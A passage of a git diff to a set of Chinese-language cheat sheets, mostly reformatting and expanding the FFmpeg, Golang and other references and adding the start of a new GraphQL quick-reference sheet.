console.log(`Hi ${name}!`);
}
```
----
```js
greet() // Hi Rauno!
greet({ name: 'Larry' }) // Hi Larry!
@ -279,7 +284,9 @@ function printCoordinates({ left: x, top: y }) {
console.log(`x: ${x}, y: ${y}`)
}
```
----
```js
printCoordinates({ left: 25, top: 90 })
```
@ -456,7 +463,9 @@ Objects
```js
module.exports = { hello, bye }
```
同下:
同下:
```js
module.exports = {
hello: hello, bye: bye
@ -524,22 +533,30 @@ Modules 模块
import 'helpers'
// 又名: require('···')
```
---
----
```js
import Express from 'express'
// 又名: const Express = require('···').default || require('···')
```
---
----
```js
import { indent } from 'helpers'
// 又名: const indent = require('···').indent
```
---
----
```js
import * as Helpers from 'helpers'
// 又名: const Helpers = require('···')
```
---
----
```js
import { indentSpaces as indent } from 'helpers'
// 又名: const indent = require('···').indentSpaces
@ -554,12 +571,16 @@ import { indentSpaces as indent } from 'helpers'
export default function () { ··· }
// 又名: module.exports.default = ···
```
----
```js
export function mymethod () { ··· }
// 又名: module.exports.mymethod = ···
```
----
```js
export const pi = 3.14159
// 又名: module.exports.pi = ···
@ -643,7 +664,6 @@ new URL('data.txt', import.meta.url)
Node.js 环境中,`import.meta.url`返回的总是本地路径,即 `file:URL` 协议的字符串,比如 `file:///home/user/foo.js`
Generators
----------
@ -655,7 +675,9 @@ function* idMaker () {
while (true) { yield id++ }
}
```
---
----
```js
let gen = idMaker()
gen.next().value // → 0
@ -707,7 +729,6 @@ gen[Symbol.iterator] = function* () {
`Generator` 函数赋值给 `Symbol.iterator` 属性,从而使得 `gen` 对象具有了 `Iterator` 接口,可以被 `...` 运算符遍历了
### Symbol.iterator 属性
```js
@ -724,4 +745,4 @@ g[Symbol.iterator]() === g // true
- [Learn ES2015](https://babeljs.io/docs/en/learn/) _(babeljs.io)_
- [ECMAScript 6 功能概述](https://github.com/lukehoban/es6features#readme) _(github.com)_
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_

View File

@ -10,16 +10,21 @@ Express 备忘清单
<!--rehype:wrap-class=row-span-2-->
- 创建项目,添加 `package.json` 配置
```bash
$ mkdir myapp # 创建目录
$ cd myapp # 进入目录
$ npm init -y # 初始化一个配置
```
- 安装依赖
```bash
$ npm install express # 安装依赖
```
- 入口文件 `index.js` 添加代码:
```js
const express = require('express')
const app = express()
@ -31,7 +36,9 @@ Express 备忘清单
console.log(`监听端口${port}示例应用`)
})
```
- 使用以下命令运行应用程序
```bash
$ node index.js
```
@ -189,7 +196,7 @@ app.get('/', function (req, res) {
:- | :-
:- | :-
`res.app ` | [#](http://expressjs.com/en/4x/api.html#res.app)
`res.app` | [#](http://expressjs.com/en/4x/api.html#res.app)
`res.headersSent` | [#](http://expressjs.com/en/4x/api.html#res.headersSent)
`res.locals` | [#](http://expressjs.com/en/4x/api.html#res.locals)
@ -404,4 +411,4 @@ app.get('/', (req, res) => {
title: 'Hey', message: 'Hello there!'
})
})
```
```

View File

@ -103,7 +103,6 @@ $ ffmpeg -i movie.webm movie.mp4
`Mi` | 220 | 1048576 | 兆字节 Mebibyte
`Gi` | 230 | 1073741824 | Gibibyte
### 音频参数
<!--rehype:wrap-class=col-span-2-->
@ -122,33 +121,17 @@ $ ffmpeg -i movie.webm movie.mp4
---
<!--rehype:body-class=cols-2-->
###
<!--rehype:wrap-class=row-span-2-->
### 剪切视频部分
<!--rehype:wrap-class=col-span-2-->
```bash
$ ffmpeg -i <input> -filter:v "crop=640:480:100:25" <output>
```
<!--rehype:className=wrap-text -->
通过从输入视频中复制偏移 `x=100px` `y=25px` 的相应窗口来创建 `640x480` 大小的输出视频
```bash
# 裁剪到宽度 360高度 640
$ ffmpeg -i input.mov -filter:v 'crop=360:640:0:0' -codec:a copy output.mov
```
<!--rehype:className=wrap-text -->
裁剪到宽度 360高度 640从坐标 (10, 20) 开始
```bash
$ ffmpeg -i input.mov -filter:v 'crop=360:640:10:20' -codec:a copy output.mov
```
<!--rehype:className=wrap-text -->
### 缩放
```bash
$ ffmpeg -i <输入> -vf scale=640:480 <输出>
# 从1分45秒开始剪切2分35秒
$ ffmpeg -i <input> -ss 00:01:45 -t 00:02:35 -vcodec copy -acodec copy <output>
# 从1分45秒开始剪切到第4分20秒与上一行等效
$ ffmpeg -i <input> -ss 00:01:45 -to 00:04:20 -codec copy <output>
$ ffmpeg -ss 00:00:30 -i orginalfile.mpg -t 00:00:05 -vcodec copy -acodec copy newfile.mpg
# 从 4.5 秒开始的 5 秒长的视频
$ ffmpeg -i in.mp4 -ss 4.5 -t 5 out.mp4
```
<!--rehype:className=wrap-text -->
@ -166,17 +149,6 @@ $ ffmpeg -r 1 -i input.m2v -r 24 output.avi
将输入文件的帧速率(仅对原始格式有效)强制为 1 fps将输出文件的帧速率强制为 24 fps
### 剪切视频部分
<!--rehype:wrap-class=col-span-2-->
```bash
$ ffmpeg -i <input> -ss 00:01:45 -t 00:02:35 -vcodec copy -acodec copy <output>
$ ffmpeg -ss 00:00:30 -i orginalfile.mpg -t 00:00:05 -vcodec copy -acodec copy newfile.mpg
# 从 4.5 秒开始的 5 秒长的视频
$ ffmpeg -i in.mp4 -ss 4.5 -t 5 out.mp4
```
<!--rehype:className=wrap-text -->
### H265 2-pass 编码
<!--rehype:wrap-class=row-span-2-->
@ -210,14 +182,6 @@ $ ffmpeg -i <input> -c copy -metadata:s:v:0 rotate=90 <output>
不要为旋转重新编码,而是简单地为旋转角度添加一个视频元数据字段
### 放慢视频速度
```bash
$ ffmpeg -i in.mp4 -filter:v "setpts=4.0*PTS" out.mp4
```
使用过滤器减慢视频。 此示例将视频减慢四倍
### 缩放到特定宽度
```bash
@ -232,28 +196,17 @@ $ ffmpeg -i in.mp4 -filter:v scale="538:trunc(ow/a/2)*2" -c:a copy out.mp4
### 提取音频流
```bash
$ ffmpeg -i file.mp4 -vn -acodec copy output.aac
$ ffmpeg -i file.mp4 -vn -c copy output.aac
```
<!--rehype:className=wrap-text -->
`-vn`(无视频)与 `-acodec copy` 结合起来。请注意,输出文件扩展名必须与输入文件中的音频编解码器匹配,`-acodec copy` 才能工作
`-vn` (过滤视频),使用 `-c copy`,不会重新解码和编码,加快速度
### 创建缩略图
<!--rehype:wrap-class=row-span-2-->
在 10 秒时创建一个缩略图
### 提取视频流
```bash
$ ffmpeg -ss 10 -i <input file> -vframes 1 -vcodec png -an thumb.png
$ ffmpeg -i file.mp4 -an -c copy output.mp4
```
<!--rehype:className=wrap-text -->
例如,要每 `n` 秒创建一次缩略图,请使用 `-vf fps=1/n`
```bash
$ ffmpeg -i <input file> -vf fps=1/60 thumbnails/thumb%03d.png
```
<!--rehype:className=wrap-text -->
### 处理 id3 标签
<!--rehype:wrap-class=row-span-2-->
@ -281,8 +234,51 @@ $ ffmpeg -i file.aac -acodec mp3 -ar 44100 -ab 128000 output.mp3
```
<!--rehype:className=wrap-text -->
### 将输入文件转码为 DVD PAL 格式
```bash
$ ffmpeg -y -threads 8 -i inFile -target pal-dvd -ac 2 -aspect 16:9 -acodec mp2 -ab 224000 -vf pad=0:­0:0:0 outFile
```
<!--rehype:className=wrap-text -->
### -map 命令
<!--rehype:wrap-class=col-span-2 row-span-2-->
`-map` 命令用于指定索引文件,以及索引文件中流类型和它的索引
----
```bash
-map index:stram_type:stream_index
```
----
:- | -
:- | -
`input_file_index` | 输入的文件索引(从 0 开始)
`stream_type` | 指定文件流的类型(a -> 音频v -> 视频s -> 字幕)
`stream_index` | 指定流类型的索引(从 0 开始)
将第一个输入文件的第二个音频拷贝到 out.mp3
```bash
$ ffmpeg -i input.mp4 -map 0:a:1 -c copy out.mp3
```
将第一个输入文件的视频流和第二个输入文件的音频流拷贝到 out.mp4
```bash
$ ffmpeg -i i1.mp4 -i i2.mp4 -map 0:v -map 0:a -c copy out.mp4
```
#### 反向 -map 命令
<!--rehype:wrap-class=col-span-2-->
反向的 map 命令(在 map 命令的参数前加负号)。例如,`-map -0:a:0`,忽略第一个文件中的第一个音频流。
<!--rehype:className=wrap-text -->
### 切换容器(转换类型)
<!--rehype:wrap-class=row-span-2-->
将容器从 `MKV` 更改为 `MP4`
@ -314,22 +310,63 @@ $ ffmpeg -i input.mov -itsoffset 3 -i input.mov -map 1:v -map 0:a -codec:a copy
```
<!--rehype:className=wrap-text -->
### 图片中的视频
如果您有多个编号的图像 image1.jpg、image2.jpg... 像这样从它们创建一个视频
```bash
$ ffmpeg -f image2 -i image%d.jpg video.mp4
```
<!--rehype:className=wrap-text -->
多个编号的图像 image1.jpg、image2.jpg... 像这样从它们创建一个视频
### 将视频拆分为图像
```bash
$ ffmpeg -i video.mp4 image%d.jpg
```
### 录屏
<!--rehype:wrap-class=col-span-2 row-span-2-->
#### 查找所有可用设备
```bash
$ ffmpeg -f avfoundation -list_devices true -i ""
```
<!--rehype:className=wrap-text -->
<span style="color:red">一定要选择好设备,根据设备进行配置。</sapn>
#### windows 下录屏
```bash
$ ffmpeg -hide_banner -loglevel error -stats -f gdigrab -framerate 60 \
-offset_x 0 -offset_y 0 -video_size 1920x1080 -draw_mouse 1 -i deskop \
-c:v libx264 -r 60 -preset ultrafast -pix_fmt yuv420p -y screen_record.mp4
```
#### mac 下录屏
```bash
$ ffmpeg -f avfoundation -i 1:0 -preset ultrafast out.mkv
```
### 合并音频与图片
合并多个音频,自定义背景图片,生成视频音乐
```bash
# mylist.txt >>>
file '1.mp3'
file '2.mp3'
file '3.mp3'
# OBS: 46500 = 25:50 minutes * 60 * 30fps
# echo "00:25:50" | awk -F: '{ print (($1 * 3600) + ($2 * 60) + $3) * 30 }'
$ ffmpeg -y -loop 1 -i cover.jpg -f concat -i mylist.txt -c:v libx264 -r 30 -pix_fmt yuv420p -vframes 46500 -c:a aac -b:a 192k -strict experimental -shortest output.mp4
```
<!--rehype:className=wrap-text -->
### 转换为 Gif
<!--rehype:wrap-class=col-span-2 row-span-3-->
@ -349,27 +386,24 @@ $ ffmpeg -i input.gif output.mov
$ ffmpeg -i input.mov -codec:v copy -codec:a copy output.mp4
```
### 移除音频
```bash
$ ffmpeg -i input.mov -codec:v copy -an output.mov
```
<!--rehype:className=wrap-text -->
### 将输入文件转码为 DVD PAL 格式
```bash
$ ffmpeg -y -threads 8 -i inFile -target pal-dvd -ac 2 -aspect 16:9 -acodec mp2 -ab 224000 -vf pad=0:­0:0:0 outFile
```
<!--rehype:className=wrap-text -->
### 转换为灰度
```bash
$ ffmpeg -y -i inFile -flags gray outFile
```
### 字幕格式转换
```bash
# srt -> ass
$ ffmpeg -i subtitle.srt subtitle.ass
# ass -> vtt
$ ffmpeg -i subtitle.ass subtitle.vtt
```
srt、ass、vtt 等格式之间可以相互转换
<!--rehype:className=wrap-text -->
### 字幕
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -494,6 +528,196 @@ $ ffmpeg -i audioS.mp4 -i videoS.mp4 -c copy -map 0:a -map 1:v outFil­e.mp4
```
<!--rehype:className=wrap-text -->
### 合并视频
<!--rehype:wrap-class=col-span-3 row-span-3-->
合并相同规格(解码/分辨率/帧率)视频
```bash
# mylist.txt >>>
file '1.mp4'
file '2.mp4'
file '3.mp4'
# 这些文件是相对路径,如使用绝对路径需要添加 `-safe 0` 参数
$ ffmpeg -f concat -i mylist.txt -c copy output.mp4
```
<!--rehype:className=wrap-text -->
合并当前目录下所有视频
```bash
$ ffmpeg -f concat -safe 0 -i <(for f in ./*.mp4; do echo "file '$PWD/$f'"; done) -c copy output.mp4
```
<!--rehype:className=wrap-text -->
合并不同规格视频,保证视频不变形
```bash
$ ffmpeg -i 1.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp1.ts
$ ffmpeg -i 2.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp2.ts
$ ffmpeg -i 3.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp3.ts
$ ffmpeg -threads 2 -i "concat:tmp1.ts|tmp2.ts|tmp3.ts" -vf "scale=720:1080:force_original_aspect_ratio=decrease,pad=720:1080:(ow-iw)/2:(oh-ih)/2" -pix_fmt yuvj420p -shortest -y output.mp4
```
<!--rehype:className=wrap-text -->
合并不同解码视频
```bash
$ ffmpeg -i input1.mp4 -i input2.webm -i input3.mov \
-filter_complex "[0:v:0][0:a:0][1:v:0][1:a:0][2:v:0][2:a:0]concat=n=3:v=1:a=1[outv][outa]" \
-map "[outv]" -map "[outa]" output.mkv
```
<!--rehype:className=wrap-text -->
合并视频并重新编码音频
```bash
$ ffmpeg -f concat -i mylist.txt -c:v copy -c:a flac -strict -2 output.mp4
```
<!--rehype:className=wrap-text -->
视频过滤器
---
### 格式
如果一个 fliter 有多个参数,需要使用 `,` 分隔
```bash
$ ffmpeg -i test.avi -c:v libx264 -vf "scale=1024:-1,transpose=1,crop=iw/3:ih/3" output.mp4
```
### 缩放
<!--rehype:wrap-class=row-span-2-->
```bash
$ ffmpeg -i input.mp4 -vf "scale=640:480" out.mp4
# -1 → 指根据另一个参数帮我们推断
$ ffmpeg -i input.mp4 -vf "scale=720:-1" out.mp4
# 宽度和高度
ffmpeg -i input.mp4 -vf "scale=w=800:h=600" output.mp4
# in_w\in_h 输入尺寸
ffmpeg -i input.mkv -vf "scale=w=1/2*in_w:h=1/2*in_h" output.mkv
```
<!--rehype:className=wrap-text -->
### 裁剪
<!--rehype:wrap-class=row-span-2-->
从左上角开始,复制 `x=0px` `y=0px` 的相应窗口来创建 `1280x720` 大小的输出视频
```bash
ffmpeg -i input.mp4 -vf "crop=w=1280:h=720:x=0:y=0" output.mp4
```
裁剪到宽度 360高度 640从坐标 (10, 20) 开始
```bash
$ ffmpeg -i input.mov -vf 'crop=360:640:10:20' output.mov
```
<!--rehype:className=wrap-text -->
### 去除水印
设置一个矩形覆盖区域 x=10:y=10:w=120:h=45
```bash
# show=1 为可选参数,设置显示边框,方便调试用的
ffmpeg -i 1.mp4 -b:v 548k -vf delogo=x=10:y=10:w=120:h=45:show=1 output.mp4
```
<!--rehype:className=wrap-text -->
### 创建缩略图
<!--rehype:wrap-class=row-span-2-->
在 10 秒时创建一个缩略图
```bash
$ ffmpeg -ss 10 -i <input file> -vframes 1 -vcodec png -an thumb.png
```
<!--rehype:className=wrap-text -->
例如,要每 `n` 秒创建一次缩略图,请使用 `-vf fps=1/n`
```bash
$ ffmpeg -i <input file> -vf fps=1/60 thumbnails/thumb%03d.png
```
<!--rehype:className=wrap-text -->
### 添加水印
在视频左上方 20,20 的位置插入 logo.png 图片
```bash
# -b:v 548k 可选参数,设置视频比特率,默认 200k 最好设置与原视频一致
ffmpeg -i 1.mp4 -acodec copy -b:v 548k -vf "movie=logo.png[watermark];[in][watermark]overlay=20:20" output.mp4
```
<!--rehype:className=wrap-text -->
### 视频旋转
```bash
# 顺时针旋转 90
$ ffmpeg -i input.avi -vf "rotate=90*PI/180" out.mp4
# 顺时针旋转 180翻转 90
$ ffmpeg -i input.mp4 -vf "rotate=PI" out.mp4
```
### 更改视频播放速度
```bash
# 加速 2 倍
$ ffmpeg -i input.mkv -vf "setpts=0.5*PTS" output.mkv
# 减速 2 倍
$ ffmpeg -i input.mp4 -vf "setpts=2*PTS" output.mp4
```
### 添加背景音乐
```bash
# -t 10 文件时长,单位为秒,建议取值原始视频总时长
$ ffmpeg -i 1.mp4 -i test.mp3 \
-filter_complex "[1:a]aloop=loop=-1:size=2e+09[out];[out][0:a]amix" \
-t 10 out.mp4
```
音频过滤器
---
### 调节音量
```bash
# 增大音量
$ ffmpeg -i test.mp4 -af "volumn=1.5" out.mp4
```
### 更改音频速度
<!--rehype:wrap-class=row-span-2-->
```bash
$ ffmpeg -i input.wav -af "atempo=0.75" output.wav
# 加速 4 倍
$ ffmpeg -i input.mp3 -af "atempo=2.0,atempo=2.0" ouutput.mp3
```
`atempo` 它只接受 `0.5`(半速) 到 `2` (倍速)之间的值。为了越过这个限制,你可以链式使用这个过滤器
### 统一视频的音量
```bash
$ ffmpeg -i test.mp4 -af "loudnorm=I=-5:LRA=1" out.mp4
```
### 重新映射通道数
```bash
# 使左右耳的声音同时出现
$ ffmpeg -i input.mp3 -af "channelmap=1-0|1-1" output.mp3
```
另见
---
@ -501,4 +725,4 @@ $ ffmpeg -i audioS.mp4 -i videoS.mp4 -c copy -map 0:a -map 1:v outFil­e.mp4
- [FFmpeg Cheat Sheet](https://lzone.de/cheat-sheet/ffmpeg) _(lzone.de)_
- [FFmpeg Cheat Sheet](https://devhints.io/ffmpeg) _(devhints.io)_
- [FFmpeg Cheat Sheet](https://github.com/yuanqing/ffmpeg-cheatsheet) _(github.com)_
- [FFmpeg Cheat Sheet](https://cheatography.com/thetartankilt/cheat-sheets/ffmpeg/) _(cheatography.com)_
- [FFmpeg Cheat Sheet](https://cheatography.com/thetartankilt/cheat-sheets/ffmpeg/) _(cheatography.com)_

View File

@ -39,7 +39,6 @@ $ find . -name "json_*"
| `-mindepth` | find / -mindepth 3 -maxdepth 5 -name pass | 在子目录级别 2 和 4 之间 |
<!--rehype:className=show-header-->
### 类型
| | |
@ -224,7 +223,6 @@ $ find . -type d -empty
$ find . -type f -empty -delete
```
查找日期和时间
-------------

View File

@ -374,15 +374,20 @@ Git 技巧
### 重命名分支
- **重命名**为`new`
```shell
$ git branch -m <new>
$ git branch -m <old> <new> #重命名分支
```
- **推送**并重置
```shell
$ git push origin -u <new>
```
- **删除**远程分支
```shell
$ git push origin --delete <old> #方法1
$ git push origin :oldBranchName #方法2
@ -827,7 +832,6 @@ $ git config --global --unset http.https://github.com.proxy
$ git config --global --unset https.https://github.com.proxy
```
### clone 最新一次提交
```bash
@ -890,4 +894,4 @@ Host github.com
另见
---
- [最常用的 git 提示和技巧](https://github.com/git-tips/tips)
- [最常用的 git 提示和技巧](https://github.com/git-tips/tips)

View File

@ -212,6 +212,7 @@ jobs:
```shell
jobs.<job_id>.environment
```
使用单一环境名称的示例
```yml
@ -251,7 +252,6 @@ steps:
设置环境变量的示例
```yml
env:
MY_ENV_VAR: ${{ <expression> }}
@ -838,4 +838,4 @@ steps:
---
- [Github Actions 学习笔记](https://jaywcjlove.github.io/github-actions) _(jaywcjlove.github.io)_
- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_
- [了解 GitHub Actions](https://docs.github.com/cn/actions/learn-github-actions) _(docs.github.com)_

View File

@ -8,8 +8,8 @@ Gmail 快捷键
### Gmail 导航
:- | :-
:- | :-
:- | :-
:- | :-
`u` | 返回话题列表(或刷新话题列表)
`k` / `j` | 较新/较旧的对话
`o` or `Enter` | 打开对话; 折叠/展开
@ -20,8 +20,8 @@ Gmail 快捷键
### Gmail 应用程序
:- | :-
:- | :-
:- | :-
:- | :-
`c` | 撰写
`d` | 添加 cc 撰写
`b` | 添加 cc 和 bcc 撰写
@ -33,8 +33,8 @@ Gmail 快捷键
### Gmail 操作
<!--rehype:wrap-class=row-span-3-->
:- | :-
:- | :-
:- | :-
:- | :-
`,` | 将焦点移至工具栏
`x` | 选择对话
`s` | 旋转超级巨星
@ -73,8 +73,8 @@ Gmail 快捷键
### Gmail 跳转
:- | :-
:- | :-
:- | :-
:- | :-
`g` 然后 `i` | 打开收件箱
`g` 然后 `s` | 打开已加星标的对话
`g` 然后 `t` | 打开已发送消息
@ -86,11 +86,10 @@ Gmail 快捷键
`g` 然后 `k` | 前往任务
<!--rehype:className=shortcuts-->
### Gmail 主题列表选择
:- | :-
:- | :-
:- | :-
:- | :-
`*` 然后 `a` | 选择所有对话
`*` 然后 `n` | 取消选择所有对话
`*` 然后 `r` | 选择阅读对话
@ -101,8 +100,8 @@ Gmail 快捷键
### Gmail 搜索语法
:- | :-
:- | :-
:- | :-
:- | :-
`from:[arg]` | 从
`to:[arg]` | 至
`label:­[arg]` | 标签
@ -126,4 +125,4 @@ Gmail 快捷键
-`u` 刷新话题列表
- 对于多选,选择一个对话,然后 `shift+单击`另一个对话以选择其间的所有对话
- 在主题中添加 `EOM`(消息结尾)以避免 `no-text-in-body` 警告
- 在主题中添加 `EOM`(消息结尾)以避免 `no-text-in-body` 警告

View File

@ -89,7 +89,7 @@ Golang 基本类型
s1 := "Hello" + "World"
s2 := `A "raw" string literal
can include line breaks.`
// 输出11
// 输出10
fmt.Println(len(s1))
// 输出Hello
fmt.Println(string(s1[0:5]))
@ -126,7 +126,7 @@ isTrue := true
isFalse := false
```
#### 操作符
#### 操作符
```go
fmt.Println(true && true) // true
@ -247,7 +247,6 @@ s := strconv.Itoa(i)
fmt.Println(s) // Outputs: 90
```
Golang 字符串
--------
@ -256,18 +255,18 @@ Golang 字符串
```go
package main
import (
"fmt"
s "strings"
"fmt"
s "strings"
)
func main() {
/* 需要将字符串导入为 s */
fmt.Println(s.Contains("test", "e"))
fmt.Println(s.Contains("test", "e"))
/* 内置 */
fmt.Println(len("hello")) // => 5
// 输出: 101
fmt.Println("hello"[1])
fmt.Println("hello"[1])
// 输出: e
fmt.Println(string("hello"[1]))
fmt.Println(string("hello"[1]))
}
```
@ -277,38 +276,38 @@ func main() {
```go
package main
import (
"fmt"
"os"
"fmt"
"os"
)
type point struct {
x, y int
x, y int
}
func main() {
p := point{1, 2}
fmt.Printf("%v\n", p) // => {1 2}
fmt.Printf("%+v\n", p) // => {x:1 y:2}
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
fmt.Printf("%T\n", p) // => main.point
fmt.Printf("%t\n", true) // => TRUE
fmt.Printf("%d\n", 123) // => 123
fmt.Printf("%b\n", 14) // => 1110
fmt.Printf("%c\n", 33) // => !
fmt.Printf("%x\n", 456) // => 1c8
fmt.Printf("%f\n", 78.9) // => 78.9
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
fmt.Printf("%s\n", "\"string\"") // => "string"
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
fmt.Printf("%p\n", &p) // => 0xc00002c040
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
s := fmt.Sprintf("a %s", "string")
fmt.Println(s)
fmt.Fprintf(os.Stderr, "an %s\n", "error")
p := point{1, 2}
fmt.Printf("%v\n", p) // => {1 2}
fmt.Printf("%+v\n", p) // => {x:1 y:2}
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
fmt.Printf("%T\n", p) // => main.point
fmt.Printf("%t\n", true) // => TRUE
fmt.Printf("%d\n", 123) // => 123
fmt.Printf("%b\n", 14) // => 1110
fmt.Printf("%c\n", 33) // => !
fmt.Printf("%x\n", 456) // => 1c8
fmt.Printf("%f\n", 78.9) // => 78.9
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
fmt.Printf("%s\n", "\"string\"") // => "string"
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
fmt.Printf("%p\n", &p) // => 0xc00002c040
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
s := fmt.Sprintf("a %s", "string")
fmt.Println(s)
fmt.Fprintf(os.Stderr, "an %s\n", "error")
}
```
@ -316,8 +315,8 @@ func main() {
### 函数实例
| 实例 | Result |
|-------------------------------|-------------|
| 实例 | Result |
| ----------------------------- | ----------- |
| Contains("test", "es") | true |
| Count("test", "t") | 2 |
| HasPrefix("test", "te") | true |
@ -441,16 +440,16 @@ Golang 结构和映射
```go
package main
import (
"fmt"
"fmt"
)
type Vertex struct {
X int
Y int
X int
Y int
}
func main() {
v := Vertex{1, 2}
v.X = 4
fmt.Println(v.X, v.Y) // => 4 2
v := Vertex{1, 2}
v.X = 4
fmt.Println(v.X, v.Y) // => 4 2
}
```
@ -569,6 +568,7 @@ sum(nums...) // => [1 2 3 4] 10
```go
import --> const --> var --> init()
```
---
```go
@ -701,22 +701,22 @@ Golang 并发
```go
package main
import (
"fmt"
"time"
"fmt"
"time"
)
func f(from string) {
for i := 0; i < 3; i++ {
fmt.Println(from, ":", i)
}
for i := 0; i < 3; i++ {
fmt.Println(from, ":", i)
}
}
func main() {
f("direct")
go f("goroutine")
go func(msg string) {
fmt.Println(msg)
}("going")
time.Sleep(time.Second)
fmt.Println("done")
f("direct")
go f("goroutine")
go func(msg string) {
fmt.Println(msg)
}("going")
time.Sleep(time.Second)
fmt.Println("done")
}
```
@ -725,26 +725,26 @@ func main() {
### WaitGroup
<!--rehype:wrap-class=row-span-2-->
```golang
```go
package main
import (
"fmt"
"sync"
"time"
"fmt"
"sync"
"time"
)
func w(id int, wg *sync.WaitGroup) {
defer wg.Done()
fmt.Printf("%d starting\n", id)
time.Sleep(time.Second)
fmt.Printf("%d done\n", id)
defer wg.Done()
fmt.Printf("%d starting\n", id)
time.Sleep(time.Second)
fmt.Printf("%d done\n", id)
}
func main() {
var wg sync.WaitGroup
for i := 1; i <= 5; i++ {
wg.Add(1)
go w(i, &wg)
}
wg.Wait()
var wg sync.WaitGroup
for i := 1; i <= 5; i++ {
wg.Add(1)
go w(i, &wg)
}
wg.Wait()
}
```
@ -916,6 +916,7 @@ func main() {
-------------
### 关键字(Keywords)
- break
- default
- func
@ -945,8 +946,8 @@ func main() {
### 运算符和标点符号
| | | | | | | | | |
|---|----|-----|-----|------|----|-----|---|---|
| | | | | | | | | |
| --- | ---- | ----- | ----- | ------ | ---- | ----- | --- | --- |
| `+` | `&` | `+=` | `&=` | `&&` | `==` | `!=` | `(` | `)` |
| `-` | `\|` | `-=` | `\|=` | `\|\|` | `<` | `<=` | `[` | `]` |
| `*` | `^` | `*=` | `^=` | `<-` | `>` | `>=` | `{` | `}` |
@ -956,6 +957,7 @@ func main() {
另见
--------
- [Devhints](https://devhints.io/go) _(devhints.io)_
- [A tour of Go](https://tour.golang.org/welcome/1) _(tour.golang.org)_
- [Golang wiki](https://github.com/golang/go/wiki/) _(github.com)_

653
docs/graphql.md Normal file
View File

@ -0,0 +1,653 @@
GraphQL 备忘清单
===
这份快速参考备忘单提供了 [GraphQL](https://graphql.org/) 的简要概述
入门
---
### 概述
- RESTful API 的另一种方法
- GraphQL 是一种 API 查询语言
- 使用清晰的共享术语轻松描述 GraphQL API 的形状。
- 客户端发出查询/突变以读取和更新数据
- GraphQL 语法可以表达复杂的实体关系
- 用 [不同语言](https://graphql.org/code/) 实现 GraphQL 的库
[GraphQL](https://graphql.org/)
### Schema
:-|-
:-|-
`schema` | GraphQL 架构定义
`query` | 读取和遍历数据
`mutation` | 修改数据或触发动作
`subscription` | 发生事件时运行查询
### 内置标量类型
:-|-
:-|-
`Int` | 有符号 32 位整数
`Float` | 有符号双精度浮点值
`String` | UTF-8 字符序列
`Boolean` | 对或错布尔值类型
`ID` | 唯一标识符
### 类型定义
:-|-
:-|-
`scalar` | 标量类型
`type` | 对象类型
`interface` | 接口类型
`union` | 联合类型
`enum` | 枚举类型
`input` | 输入对象类型
### 类型修饰符
:-|-
:-|-
`String` | 可空字符串
`String!` | 非空字符串
`[String]` | 可空字符串列表
`[String]!` | 可空字符串的非空列表
`[String!]!` | 非空字符串的非空列表
### 输入参数
<!--rehype:wrap-class=row-span-2-->
#### 基本输入
```graphql
type Query {
users(limit: Int): [User]
}
```
#### 输入默认值
```graphql
type Query {
users(limit: Int = 10): [User]
}
```
#### 具有多个参数的输入
```graphql
type Query {
users(limit: Int, sort: String): [User]
}
```
#### 具有多个参数和默认值的输入
```graphql
type Query {
users(limit: Int = 10, sort: String): [User]
}
type Query {
users(limit: Int, sort: String = "asc"): [User]
}
type Query {
users(limit: Int = 10, sort: String = "asc"): [User]
}
```
<!--rehype:className=wrap-text -->
### 输入类型
```graphql
input ListUsersInput {
limit: Int
since_id: ID
}
```
```graphql
type Mutation {
users(params: ListUsersInput): [User]!
}
```
### 自定义标量
```graphql
scalar Url
type User {
name: String
homepage: Url
}
```
### 接口
```graphql
interface Foo {
is_foo: Boolean
}
interface Goo {
is_goo: Boolean
}
type Bar implements Foo {
is_foo: Boolean
is_bar: Boolean
}
type Baz implements Foo, Goo {
is_foo: Boolean
is_goo: Boolean
is_baz: Boolean
}
```
实现一个或多个接口的对象
### 联合
```graphql
type Foo {
name: String
}
type Bar {
is_bar: String
}
union SingleUnion = Foo
union MultipleUnion = Foo | Bar
type Root {
single: SingleUnion
multiple: MultipleUnion
}
```
一个或多个对象的联合
### 枚举
```graphql
enum USER_STATE {
NOT_FOUND
ACTIVE
INACTIVE
SUSPENDED
}
type Root {
stateForUser(userID: ID!): USER_STATE!
users(state: USER_STATE, limit: Int = 10): [User]
}
```
<!--rehype:className=wrap-text -->
查询和变更(Mutations)
---
### 字段
```graphql
{
hero {
name
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2"
}
}
}
```
### 查询可以有注释
```graphql
{
hero {
name
# 查询可以有注释!
friends {
name
}
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"friends": [
